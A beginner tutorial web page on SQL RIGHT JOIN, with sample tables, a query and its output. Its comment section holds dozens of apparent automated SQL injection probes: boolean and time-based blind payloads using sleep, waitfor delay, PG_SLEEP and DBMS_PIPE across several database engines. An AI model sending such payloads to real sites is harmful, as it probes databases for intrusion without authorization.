SQL Right Join
SQL Right Join is used to return all data or records from the Table 2 plus match records to tables 1. If there is no match, the result from the left will be NULL.This is also known as RIGHT (OUTER) JOIN.
Right Join Syntax :
The syntax of the Right Join is −
SELECT column-name(s) FROM table1 RIGHT JOIN table2 ON table1.column-name = table2.column-name;
SQL Right Join Example :
Consider the Customer table with the following records -
ID | Name | Age | Address | Salary |
---|---|---|---|---|
1 | Aarav | 36 | Udaipur | 35000 |
2 | Vivaan | 33 | Mumbai | 30000 |
3 | Reyansh | 28 | Chennai | 40000 |
4 | Muhammad | 29 | Udaipur | 50000 |
5 | Sai | 27 | Mumbai | 27000 |
Consider the Order table with the following records -
OID | Date | CustomerID | Amount |
---|---|---|---|
102 | 2019-10-08 00:00:00 | 3 | 3000 |
100 | 2019-10-08 00:00:00 | 3 | 1500 |
101 | 2019-11-20 00:00:00 | 2 | 1800 |
103 | 2018-05-20 00:00:00 | 4 | 2500 |
TEST CASE 1 :-Let us join these two tables using the Right JOIN as follows
SELECT ID, Name, Amount, Date FROM Customer RIGHT JOIN Order ON Customer.ID = Order.CustomerID;
The result for the respective sql query is as follows −
ID | Name | Amount | Date |
---|---|---|---|
3 | Reyansh | 3000 | 2019-10-08 00:00:00 |
3 | Reyansh | 1500 | 2019-10-08 00:00:00 |
2 | Vivaan | 1800 | 2019-11-20 00:00:00 |
4 | Muhammad | 2500 | 2018-05-20 00:00:00 |
Visit :
Discussion
pHqghUme
555
pHqghUme
555
pHqghUme
555
pHqghUme
-1 OR 2+263-263-1=0+0+0+1 --
pHqghUme
-1 OR 3+263-263-1=0+0+0+1 --
pHqghUme
-1 OR 3*2<(0+5+263-263) --
pHqghUme
-1 OR 3*2>(0+5+263-263) --
pHqghUme
-1 OR 2+942-942-1=0+0+0+1
pHqghUme
-1 OR 3+942-942-1=0+0+0+1
pHqghUme
-1 OR 3*2<(0+5+942-942)
pHqghUme
-1 OR 3*2>(0+5+942-942)
pHqghUme
-1' OR 2+969-969-1=0+0+0+1 --
pHqghUme
-1' OR 3+969-969-1=0+0+0+1 --
pHqghUme
-1' OR 3*2<(0+5+969-969) --
pHqghUme
-1' OR 3*2>(0+5+969-969) --
pHqghUme
-1' OR 2+436-436-1=0+0+0+1 or 'keBSQpPL'='
pHqghUme
-1' OR 3+436-436-1=0+0+0+1 or 'keBSQpPL'='
pHqghUme
-1' OR 3*2<(0+5+436-436) or 'keBSQpPL'='
pHqghUme
-1' OR 3*2>(0+5+436-436) or 'keBSQpPL'='
pHqghUme
-1" OR 2+654-654-1=0+0+0+1 --
pHqghUme
-1" OR 3+654-654-1=0+0+0+1 --
pHqghUme
-1" OR 3*2<(0+5+654-654) --
pHqghUme
-1" OR 3*2>(0+5+654-654) --
pHqghUme
if(now()=sysdate(),sleep(15),0)
pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
-1; waitfor delay '0:0:15' --
pHqghUme
-1); waitfor delay '0:0:15' --
pHqghUme
1 waitfor delay '0:0:15' --
pHqghUme
zrkswHxS'; waitfor delay '0:0:15' --
pHqghUme
-5 OR 46=(SELECT 46 FROM PG_SLEEP(15))--
pHqghUme
-5) OR 878=(SELECT 878 FROM PG_SLEEP(15))--
pHqghUme
-1)) OR 441=(SELECT 441 FROM PG_SLEEP(15))--
pHqghUme
QAWcEwnN' OR 808=(SELECT 808 FROM PG_SLEEP(15))--
pHqghUme
gfMTB4sI') OR 572=(SELECT 572 FROM PG_SLEEP(15))--
pHqghUme
ty4fDon5')) OR 931=(SELECT 931 FROM PG_SLEEP(15))--
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme
1'"
pHqghUme
pHqghUme
@@paBJh
pHqghUme
555
pHqghUme
555
pHqghUme
555